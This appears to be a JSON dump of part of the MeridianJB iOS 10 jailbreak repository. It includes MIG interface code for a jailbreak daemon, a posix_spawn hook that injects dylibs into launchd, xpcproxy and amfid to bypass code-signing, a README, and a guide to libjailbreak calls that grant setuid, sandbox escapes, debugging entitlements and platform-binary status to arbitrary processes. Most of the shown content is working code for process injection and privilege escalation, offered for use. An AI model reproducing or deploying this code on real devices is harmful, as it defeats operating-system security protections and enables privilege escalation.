}\n\t}\n\n\n#if\tdefined(__MIG_check__Reply__call_t__defined)\n\tcheck_result = __MIG_check__Reply__call_t((__Reply__call_t *)Out0P);\n\tif (check_result != MACH_MSG_SUCCESS)\n\t\t{ return check_result; }\n#endif\t/* defined(__MIG_check__Reply__call_t__defined) */\n\n\treturn KERN_SUCCESS;\n}\n"
  },
  {
    "path": "Meridian/pspawn_hook/mach/jailbreak_daemonUser.h",
    "content": "#ifndef\t_jailbreak_daemon_user_\n#define\t_jailbreak_daemon_user_\n\n/* Module jailbreak_daemon */\n\n#include <string.h>\n#include <mach/ndr.h>\n#include <mach/boolean.h>\n#include <mach/kern_return.h>\n#include <mach/notify.h>\n#include <mach/mach_types.h>\n#include <mach/message.h>\n#include <mach/mig_errors.h>\n#include <mach/port.h>\n\t\n/* BEGIN VOUCHER CODE */\n\n#ifndef KERNEL\n#if defined(__has_include)\n#if __has_include(<mach/mig_voucher_support.h>)\n#ifndef USING_VOUCHERS\n#define USING_VOUCHERS\n#endif\n#ifndef __VOUCHER_FORWARD_TYPE_DECLS__\n#define __VOUCHER_FORWARD_TYPE_DECLS__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\textern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));\n#ifdef __cplusplus\n}\n#endif\n#endif // __VOUCHER_FORWARD_TYPE_DECLS__\n#endif // __has_include(<mach/mach_voucher_types.h>)\n#endif // __has_include\n#endif // !KERNEL\n\t\n/* END VOUCHER CODE */\n\n\t\n/* BEGIN MIG_STRNCPY_ZEROFILL CODE */\n\n#if defined(__has_include)\n#if __has_include(<mach/mig_strncpy_zerofill_support.h>)\n#ifndef USING_MIG_STRNCPY_ZEROFILL\n#define USING_MIG_STRNCPY_ZEROFILL\n#endif\n#ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__\n#define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\textern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));\n#ifdef __cplusplus\n}\n#endif\n#endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */\n#endif /* __has_include(<mach/mig_strncpy_zerofill_support.h>) */\n#endif /* __has_include */\n\t\n/* END MIG_STRNCPY_ZEROFILL CODE */\n\n\n#ifdef AUTOTEST\n#ifndef FUNCTION_PTR_T\n#define FUNCTION_PTR_T\ntypedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);\ntypedef struct {\n        char            *name;\n        function_ptr_t  function;\n} function_table_entry;\ntypedef function_table_entry   *function_table_t;\n#endif /* FUNCTION_PTR_T */\n#endif /* AUTOTEST */\n\n#ifndef\tjailbreak_daemon_MSG_COUNT\n#define\tjailbreak_daemon_MSG_COUNT\t1\n#endif\t/* jailbreak_daemon_MSG_COUNT */\n\n#include <mach/std_types.h>\n#include <mach/mig.h>\n#include <mach/mig.h>\n#include <mach/mach_types.h>\n\n#ifdef __BeforeMigUserHeader\n__BeforeMigUserHeader\n#endif /* __BeforeMigUserHeader */\n\n#include <sys/cdefs.h>\n__BEGIN_DECLS\n\n\n/* Routine call */\n#ifdef\tmig_external\nmig_external\n#else\nextern\n#endif\t/* mig_external */\nkern_return_t jbd_call\n(\n\tmach_port_t server_port,\n\tuint8_t command,\n\tuint32_t pid\n);\n\n__END_DECLS\n\n/********************** Caution **************************/\n/* The following data types should be used to calculate  */\n/* maximum message sizes only. The actual message may be */\n/* smaller, and the position of the arguments within the */\n/* message layout may vary from what is presented here.  */\n/* For example, if any of the arguments are variable-    */\n/* sized, and less than the maximum is sent, the data    */\n/* will be packed tight in the actual message to reduce  */\n/* the presence of holes.                                */\n/********************** Caution **************************/\n\n/* typedefs for all requests */\n\n#ifndef __Request__jailbreak_daemon_subsystem__defined\n#define __Request__jailbreak_daemon_subsystem__defined\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tuint8_t command;\n\t\tchar commandPad[3];\n\t\tuint32_t pid;\n\t} __Request__call_t __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n#endif /* !__Request__jailbreak_daemon_subsystem__defined */\n\n/* union of all requests */\n\n#ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined\n#define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined\nunion __RequestUnion__jbd_jailbreak_daemon_subsystem {\n\t__Request__call_t Request_jbd_call;\n};\n#endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */\n/* typedefs for all replies */\n\n#ifndef __Reply__jailbreak_daemon_subsystem__defined\n#define __Reply__jailbreak_daemon_subsystem__defined\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t} __Reply__call_t __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n#endif /* !__Reply__jailbreak_daemon_subsystem__defined */\n\n/* union of all replies */\n\n#ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined\n#define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined\nunion __ReplyUnion__jbd_jailbreak_daemon_subsystem {\n\t__Reply__call_t Reply_jbd_call;\n};\n#endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */\n\n#ifndef subsystem_to_name_map_jailbreak_daemon\n#define subsystem_to_name_map_jailbreak_daemon \\\n    { \"call\", 500 }\n#endif\n\n#ifdef __AfterMigUserHeader\n__AfterMigUserHeader\n#endif /* __AfterMigUserHeader */\n\n#endif\t /* _jailbreak_daemon_user_ */\n"
  },
  {
    "path": "Meridian/pspawn_hook/pspawn_hook.m",
    "content": "#import <Foundation/Foundation.h>\n\n#include <dlfcn.h>\n#include <spawn.h>\n\n#include <mach/mach.h>\n\n#include \"fishhook.h\"\n#include \"jailbreak_daemonUser.h\"\n\n#define LAUNCHD_LOG_PATH    \"/var/log/pspawn_hook_launchd.log\"\n#define XPCPROXY_LOG_PATH   \"/var/log/pspawn_hook_xpcproxy.log\"\n#define OTHER_LOG_PATH      \"/var/log/pspawn_hook_other.log\"\nFILE *log_file;\n#define DEBUGLOG(fmt, args...)                                      \\\ndo {                                                                \\\n    if (log_file == NULL) {                                         \\\n        const char *log_path;                                       \\\n        if (current_process == PROCESS_LAUNCHD) {                   \\\n            log_path = LAUNCHD_LOG_PATH;                            \\\n        } else if (current_process == PROCESS_XPCPROXY) {           \\\n            log_path = XPCPROXY_LOG_PATH;                           \\\n        } else if (current_process == PROCESS_OTHER) {              \\\n            log_path = OTHER_LOG_PATH;                              \\\n        }                                                           \\\n        log_file = fopen(log_path, \"a\");                            \\\n        if (log_file == NULL) break;                                \\\n    }                                                               \\\n    time_t seconds = time(NULL);                                    \\\n    char *time = ctime(&seconds);                                   \\\n    fprintf(log_file, \"[%.*s] \", (int)strlen(time) - 1, time);      \\\n    fprintf(log_file, fmt \"\\n\", ##args);                            \\\n    fflush(log_file);                                               \\\n} while(0);\n\n#define PROC_PIDPATHINFO_MAXSIZE  (4 * MAXPATHLEN)\nint proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);\n\n#define JAILBREAKD_COMMAND_ENTITLE 1\n#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2\n#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3\n#define JAILBREAKD_COMMAND_FIXUP_SETUID 4\n\n#define FLAG_PLATFORMIZE (1 << 1)\n\nenum CurrentProcess {\n    PROCESS_LAUNCHD,\n    PROCESS_XPCPROXY,\n    PROCESS_OTHER\n};\nint current_process = PROCESS_OTHER;\n\nkern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port);\n\nmach_port_t jbd_port;\n\ndispatch_queue_t queue = NULL;\n\n#define DYLD_INSERT             \"DYLD_INSERT_LIBRARIES=\"\n#define MAX_INJECT              1\n\n#define PSPAWN_HOOK_DYLIB       \"/usr/lib/pspawn_hook.dylib\"\n#define TWEAKLOADER_DYLIB       \"/usr/lib/TweakLoader.dylib\"\n#define LIBJAILBREAK_DYLIB      \"/usr/lib/libjailbreak.dylib\"\n#define AMFID_PAYLOAD_DYLIB     \"/meridian/amfid_payload.dylib\"\n\nconst char *xpcproxy_blacklist[] = {\n    \"com.apple.diagnosticd\",    // syslog\n    \"MTLCompilerService\",\n    \"com.apple.notifyd\",        // fuck this daemon and everything it stands for\n    \"OTAPKIAssetTool\",\n    \"FileProvider\",             // seems to crash from oosb r/w etc\n    \"jailbreakd\",               // gotta call to this\n    \"dropbear\",\n    \"cfprefsd\",\n    NULL\n};\n\nbool is_blacklisted(const char *proc) {\n    const char **blacklist = xpcproxy_blacklist;\n    \n    while (*blacklist) {\n        if (strstr(proc, *blacklist)) {\n            return true;\n        }\n        \n        blacklist++;\n    }\n    \n    return false;\n}\n\ntypedef int (*pspawn_t)(pid_t *pid,\n                        const char *path,\n                        const posix_spawn_file_actions_t *file_actions,\n                        posix_spawnattr_t *attrp,\n                        const char *argv[],\n                        const char *envp[]);\n\npspawn_t old_pspawn, old_pspawnp;\n\nint fake_posix_spawn_common(pid_t *pid,\n                            const char *path,\n                            const posix_spawn_file_actions_t *file_actions,\n                            posix_spawnattr_t *attrp,\n                            const char *argv[],\n                            const char *envp[],\n                            pspawn_t old) {\n    int retval = -1, ret = 0, ninject = 0;\n    const char *inject[MAX_INJECT] = { NULL };\n    \n    pid_t child      = 0;\n    char **newenvp   = NULL;\n    char *insert_str = NULL;\n    posix_spawnattr_t attr;\n    \n    if (!path || !argv || !envp) {\n        DEBUGLOG(\"got some bullshit args: %p, %p, %p\", path, argv, envp);\n        goto out;\n    }\n    \n    if (argv[1]) {\n        DEBUGLOG(\"fake_posix_spawn_common: %s (arg1: %s)\", path, argv[1]);\n    } else {\n        DEBUGLOG(\"fake_posix_spawn_common: %s\", path);\n    }\n    \n    switch (current_process) {\n        case PROCESS_LAUNCHD:\n            if (strcmp(path, \"/usr/libexec/xpcproxy\") == 0 &&\n                argv[0] &&\n                argv[1] &&\n                !is_blacklisted(path) &&\n                !is_blacklisted(argv[1])) {\n                inject[ninject++] = PSPAWN_HOOK_DYLIB;\n            }\n            break;\n        case PROCESS_XPCPROXY:\n            if (strcmp(path, \"/usr/libexec/amfid\") == 0) {\n                inject[ninject++] = AMFID_PAYLOAD_DYLIB;\n                break;\n            }\n            if (access(TWEAKLOADER_DYLIB, F_OK) == 0) {\n                inject[ninject++] = TWEAKLOADER_DYLIB;\n            }\n            break;\n    }\n    \n    if (ninject > MAX_INJECT) {\n        DEBUGLOG(\"too much inject, yo! (%d)\", ninject);\n        goto out;\n    }\n    \n    DEBUGLOG(\"Inject count: %d\", ninject);\n    \n    if (ninject > 0) {\n        if (!attrp) {\n            ret = posix_spawnattr_init(&attr);\n            if (ret != 0) {\n                DEBUGLOG(\"posix_spawnattr_init: %s\", strerror(ret));\n                goto out;\n            }\n            \n            attrp = &attr;\n        }\n        \n        short flags;\n        ret = posix_spawnattr_getflags(attrp, &flags);\n        if (ret != 0) {\n            DEBUGLOG(\"posix_spawnattr_getflags: %s\", strerror(ret));\n            goto out;\n        }\n        \n        ret = posix_spawnattr_setflags(attrp, flags | POSIX_SPAWN_START_SUSPENDED);\n        if (ret != 0) {\n            DEBUGLOG(\"posix_spawnattr_setflags: %s\", strerror(ret));\n            goto out;\n        }\n        \n        DEBUGLOG(\"Env:\");\n        size_t nenv = 0;\n        const char *insert = NULL;\n        for (const char **ptr = envp; *ptr != NULL; ++ptr, ++nenv) {\n            DEBUGLOG(\"\\t%s\", *ptr);\n            if (strncmp(*ptr, DYLD_INSERT, strlen(DYLD_INSERT)) == 0) {\n                insert = *ptr;\n            }\n        }\n        \n        ++nenv; // NULL\n        if (!insert) ++nenv;\n        \n        newenvp = malloc(nenv * sizeof(*newenvp));\n        if (!newenvp) {\n            DEBUGLOG(\"malloc newenvp failed\");\n            goto out;\n        }\n        \n        size_t slen = (insert ? strlen(insert) + 1 : strlen(DYLD_INSERT)) + strlen(inject[0]) + 1;\n        for (size_t i = 1; i < ninject; i++) {\n            slen += strlen(inject[i]) + 1;\n        }\n        \n        insert_str = malloc(slen);\n        if (!insert_str) {\n            DEBUGLOG(\"malloc insert_str failed\");\n            goto out;\n        }\n        \n        insert_str[0] = '\\0';\n        \n        size_t start = 0;\n        if (insert) {\n            strcat(insert_str, insert);\n            start = 0;\n        } else {\n            strcat(insert_str, DYLD_INSERT);\n            strcat(insert_str, inject[0]);\n            start = 1;\n        }\n        \n        for (size_t i = start; i < ninject; i++) {\n            strcat(insert_str, \":\");\n            strcat(insert_str, inject[i]);\n        }\n        \n        nenv = 0;\n        newenvp[nenv++] = insert_str;\n        \n        for (const char **ptr = envp; *ptr != NULL; ++ptr) {\n            if (*ptr != insert) {\n                newenvp[nenv++] = (char *)*ptr;\n            }\n        }\n        newenvp[nenv++] = NULL;\n        envp = (const char **)newenvp;\n        \n        DEBUGLOG(\"New Env:\");\n        for (const char **ptr = envp; *ptr != NULL; ++ptr) {\n            DEBUGLOG(\"\\t%s\", *ptr);\n        }\n        \n        if (current_process == PROCESS_XPCPROXY) {\n            pid_t ourpid = getpid();\n            kern_return_t ret = jbd_call(jbd_port, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY, ourpid);\n            \n            if (ret != KERN_SUCCESS) {\n                DEBUGLOG(\"jbd_call(xpcproxy, %d): %x (%s)\", ourpid, ret, mach_error_string(ret));\n            }\n        }\n    }\n    \n    // Note: xpcproxy won't return from this call\n    ret = old(&child, path, file_actions, attrp, argv, envp);\n    if (ret != 0) {\n        DEBUGLOG(\"posix_spawn: %s\", strerror(ret));\n        retval = ret;\n        goto out;\n    }\n    DEBUGLOG(\"Spawned with pid: %d\", child);\n    \n    if (pid) {\n        *pid = child;\n    }\n    \n    dispatch_async(queue, ^{\n        kern_return_t ret = jbd_call(jbd_port, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT, child);\n        if (ret != KERN_SUCCESS) {\n            DEBUGLOG(\"jbd_call(launchd, %d): %x (%s)\", child, ret, mach_error_string(ret));\n        }\n    });\n    \n    retval = 0;\n    \nout:;\n    if (newenvp    != NULL)  free(newenvp);\n    if (insert_str != NULL)  free(insert_str);\n    if (attrp      == &attr) posix_spawnattr_destroy(&attr);\n    \n    return retval;\n}\n\nint fake_posix_spawn(pid_t *pid,\n                     const char *file,\n                     const posix_spawn_file_actions_t *file_actions,\n                     posix_spawnattr_t *attrp,\n                     const char *argv[],\n                     const char *envp[]) {\n    return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawn);\n}\n\nint fake_posix_spawnp(pid_t *pid,\n                      const char *file,\n                      const posix_spawn_file_actions_t *file_actions,\n                      posix_spawnattr_t *attrp,\n                      const char *argv[],\n                      const char *envp[]) {\n    return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawnp);\n}\n\nvoid rebind_pspawns(void) {\n    struct rebinding rebindings[] = {\n        { \"posix_spawn\",  (void *)fake_posix_spawn,  (void **)&old_pspawn },\n        { \"posix_spawnp\", (void *)fake_posix_spawnp, (void **)&old_pspawnp }\n    };\n    \n    rebind_symbols(rebindings, 2);\n}\n\n__attribute__ ((constructor))\nstatic void ctor(void) {\n    queue = dispatch_queue_create(\"pspawn.queue\", NULL);\n    \n    char pathbuf[PROC_PIDPATHINFO_MAXSIZE];\n    bzero(pathbuf, sizeof(pathbuf));\n    proc_pidpath(getpid(), pathbuf, sizeof(pathbuf));\n    \n    if (getpid() == 1) {\n        current_process = PROCESS_LAUNCHD;\n    } else if (strcmp(pathbuf, \"/usr/libexec/xpcproxy\") == 0) {\n        current_process = PROCESS_XPCPROXY;\n    } else {\n        current_process = PROCESS_OTHER;\n    }\n    \n    DEBUGLOG(\"========================\");\n    DEBUGLOG(\"hello from pid %d\", getpid());\n    DEBUGLOG(\"my path: %s\", pathbuf);\n    \n    if (current_process == PROCESS_LAUNCHD) {\n        if (host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 15, &jbd_port)) {\n            DEBUGLOG(\"can't get hsp15 :(\");\n            return;\n        }\n\n        if (!MACH_PORT_VALID(jbd_port)) {\n            DEBUGLOG(\"failed to get jbd port!! ret: %x\", jbd_port);\n            return;\n        }\n        \n        DEBUGLOG(\"got jbd port: %x\", jbd_port);\n        \n        rebind_pspawns();\n        return;\n    }\n    \n    if (bootstrap_look_up(bootstrap_port, \"zone.sparkes.jailbreakd\", &jbd_port)) {\n        DEBUGLOG(\"Can't get bootstrap port :(\");\n        return;\n    }\n    \n    if (!MACH_PORT_VALID(jbd_port)) {\n        DEBUGLOG(\"failed to get jbd port!! ret: %x\", jbd_port);\n        return;\n    }\n    \n    DEBUGLOG(\"got jbd port: %x\", jbd_port);\n    \n    // pspawn is usually only ever injected into either launchd,\n    // or xpcproxy. this is here in case you want to manually inject it into\n    // another process, in order to have it call to jbd. consider this\n    // testing-only.\n    // example (in shell): \"> DYLD_INSERT_LIBRARIES=/usr/lib/pspawn_hook.dylib binary\"\n    // this will have <binary> call to jbd in order to platformize\n    if (current_process == PROCESS_OTHER) {\n        if (access(LIBJAILBREAK_DYLIB, F_OK) != 0) {\n            printf(\"[!] \" LIBJAILBREAK_DYLIB \" was not found!\\n\");\n            return;\n        }\n        \n        void *handle = dlopen(LIBJAILBREAK_DYLIB, RTLD_LAZY);\n        if (handle == NULL) {\n            printf(\"[!] Failed to open libjailbreak.dylib: %s\\n\", dlerror());\n            return;\n        }\n        \n        typedef int (*entitle_t)(pid_t pid, uint32_t flags);\n        entitle_t entitle_ptr = (entitle_t)dlsym(handle, \"jb_oneshot_entitle_now\");\n        entitle_ptr(getpid(), FLAG_PLATFORMIZE);\n        printf(\"[!] Platformized.\\n\");\n        return;\n    }\n    \n    rebind_pspawns();\n}\n"
  },
  {
    "path": "README.md",
    "content": "# MeridianJB\nAn iOS 10.x Jailbreak for all 64-bit devices.\n\nWebsite: https://meridian.sparkes.zone\n\nAll credits can be found on the website. Thanks to everyone who helped.\n\nFeel free to create a PR if you believe there is area for improvement - it's not perfect I know.\n\n## Building\n\nClone repo, open Xcode project, target your device (or generic), and **make sure ldid is in $PATH**. /usr/local/bin, /usr/bin, /bin, ~/bin, whatever, make sure it's present. You'll also need tar, but I'd like to assume everyone has that already ;)\n"
  },
  {
    "path": "Working_with_libjailbreak.md",
    "content": "## Working with Meridian & libjailbreak\n\nIf your binary to tweak requires setuid0, or other entitlements/empowerments, you may need to make calls to Jailbreakd, which handles entitling of processes. This can be done via libjailbreak, a library bundled by default with Meridian.\n\n### What do these empowerments include?\n- Fixing setuid\n- Modifying csflags\n- Adding get-task-allow and skip-library-validation entitlements in the MACF label\n- Breaking out of some sandbox restrictions\n- Marking your binary as a 'platform binary'\n\n### Usage\n\nlibjailbreak implements 2 calls which can be used to achieve this:\n- `void jb_oneshot_fix_setuid_now(pid_t pid)` - for fixing setuid\n- `void jb_oneshot_entitle_now(pid_t pid)` - for entitling\n\nThe pid (process ID) provided to each call can be your own, or can be that of another process.\nProtip: you can find your own PID using the `getpid()` function.\n\n**Note:** for the setuid call to work properly, your binary (or the process you're entitlting) must have the setuid flag set. You can set this with `chmod +s <filename>`.\n\n### Examples\n\n```c\nvoid call_libjailbreak() {\n    // open a handle to libjailbreak\n    void *handle = dlopen(\"/usr/lib/libjailbreak.dylib\", RTLD_LAZY);\n    if (!handle) {\n        printf(\"Err: %s \\n\", dlerror());\n        printf(\"unable to find libjailbreak.dylib \\n\");\n        return;\n    }\n\n    typedef void (*libjb_call_ptr_t)(pid_t pid);\n\n    // grab pointers to the functions we want to call\n    libjb_call_ptr_t setuid_ptr = (libjb_call_ptr_t)dlsym(handle, \"jb_oneshot_fix_setuid_now\");\n    libjb_call_ptr_t entitle_ptr = (libjb_call_ptr_t)dlsym(handle, \"jb_oneshot_entitle_now\");\n\n    // check for any errors\n    const char *dlsym_error = dlerror();\n    if (dlsym_error) {\n        printf(\"encountered dlsym error: %s \\n\", dlsym_error);\n        return;\n    }\n\n    // call them!\n    setuid_ptr(getpid());\n    entitle_ptr(getpid());\n}\n```\n\n**Note:** libjailbreak calls are blocking, and code execution will not return until jailbreakd has fully processed your requests.\n\nYou can see a live action example of this in our cydo binary, here: https://github.com/MidnightTeam/cydo/blob/master/cydo.c#L6\n\n"
  }
]